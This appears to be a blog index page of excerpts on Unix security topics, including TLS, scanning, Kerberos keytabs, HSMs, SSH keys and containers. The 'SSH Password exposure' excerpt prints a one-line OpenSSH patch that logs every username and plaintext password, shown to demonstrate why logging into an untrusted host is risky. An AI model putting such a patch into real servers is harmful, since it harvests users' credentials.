Ramblings of a Unix Geek

I've been doing this for a long time... I ramble!

Scoring an A+ for SSL/TLS

(Side note: in this post I’m going to use TLS and SSL interchangably. To all intents and purposes you can think of TLS as the successor to SSL; most libraries do both). You can think of security as a stack. Each layer of the stack needs to be secure in order for the whole thing to be secure. Or, alternatively, you can think of it as a chain; the whole thing is only as strong as the weakest link.

Deep scanning your deployment

In my previous post I wrote about some automation of static and dynamic scanning as part of the software delivery pipeline. However nothing stays the same; we find new vulnerabilities or configurations are broken or stuff previously considered secure is now weak (64bit ciphers can be broken, for example). So as well as doing your scans during the development cycle we also need to do repeated scans of deployed infrastructure; espcially if it’s externally facing (but internal facing services may still be at risk from the tens of thousands of desktops in your organisation).

Scanning your code

In many organisations an automated scan of an application is done before it’s allowed to “go live”, especially if the app is external facing. There are typically two types of scan: Static Scan Dynamic Scan Static scan A static scan is commonly a source code scan. It will analyse code for many common failure modes. If you’re writing C code then it’ll flag on common buffer overflow patterns. If you’re writing Java with database connectors it’ll flag on common password exposure patterns.

Kerberos keytab management

In an earlier blog I wrote that SSH keys need to be managed. It’s important! In the comments I was asked about keytabs. I felt this such a good question that it deserved it’s own blog entry. The basics of Kerberos auth In essence, kerberos is a “ticket based” authentication scheme. You start by requesting a TGT (“Ticket granting ticket”). This, typically, is where you enter your password. This TGT is then used to request service tickets to access resources.

SSH Password exposure

Over on the Unix/Linux Stackexchange someone asked if ssh’ing to the wrong machine could cause their password to be exposed. I answered “yes”… and was surprised to see the answer get over 140 upvotes. Demonstration So it seems as if there’s some interest in this. I decided to demonstrate this risk in a short practical session. Let’s start with a generic CentOS 7 install. It’s got nothing special on it. We want to replace sshd with a modified one that has a one line change: *** openssh-7.3p1.orig/auth-passwd.c Wed Jul 27 18:54:27 2016 --- openssh-7.3p1/auth-passwd.c Sat Sep 17 19:34:41 2016 *************** *** 84,89 **** --- 84,90 ---- auth_password(Authctxt *authctxt, const char *password) { struct passwd * pw = authctxt->pw; + logit("User %s Password %s",pw->pw_name,password); int result, ok = authctxt->valid; #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE) static int expire_checked = 0; We build this and copy the sshd over the top of the original.

HSMs, what are they good for?

What is a HSM? A HSM is a hardware device that can perform cryptographic functions in a “secure” manner. The idea is that you can load your private key into a HSM and be sure that it’s safe from theft. Anyone tries to physical access the device and it’ll wipe (or literally burn) the data. So encryption or signing of data can be trusted because only the HSM has the key needed to do the crypto.

SSH key management

SSH is probably the most common method of logging into Unix machines over a network connection. It has pretty much replaced the older telnet and rlogin protocols because it encrypts data over the network and has other “goodness”. However one of the “good” parts of ssh is probably the least well managed; ssh keys. What is an ssh key? When attempting to login to a server, ssh will attempt multiple different authenticators.

Single point of truth

Something I’ve been pushing (and this is pretty much a truism amongst anyone who’s looked at “Cloud”) is the idea of automation. It doesn’t matter if you’re just treating the cloud as an outsourced datacenter or if you’re doing full 12-factor dynamically scalable apps. Automation is the key to consitency and control. So, ideally, this means your automation system is the “single point of truth” for your estate. Whether you use ansible or chef or (saints preserve us) cfengine, your configuration file explicitly defines your target state.

Building an OS container

In a previous blog entry I described some of the controls that are needed if you want to use a container as a VM. Essentially, if you want to use it as a VM then you must treat it as a VM. This means that all your containers should have the same baseline as your VM OS, the same configuration, the same security policies. Fortunately we can take a VM and convert it into a container.

Using a container as a lightweight VM

In a lot of this blog I have been pushing for the use of containers as an “application execution environment”. You only put the minimal necessary stuff inside the container, treat them as immutable images, never login to them… the sort of thing that’s perfect for 12 factor application. However there are other ways of using containers. The other main version is to treat a container as a light-weight VM. Sometimes this is called “OS container” because you’ve got a complete OS (except the kernel) here, and you treat it as if it was an OS.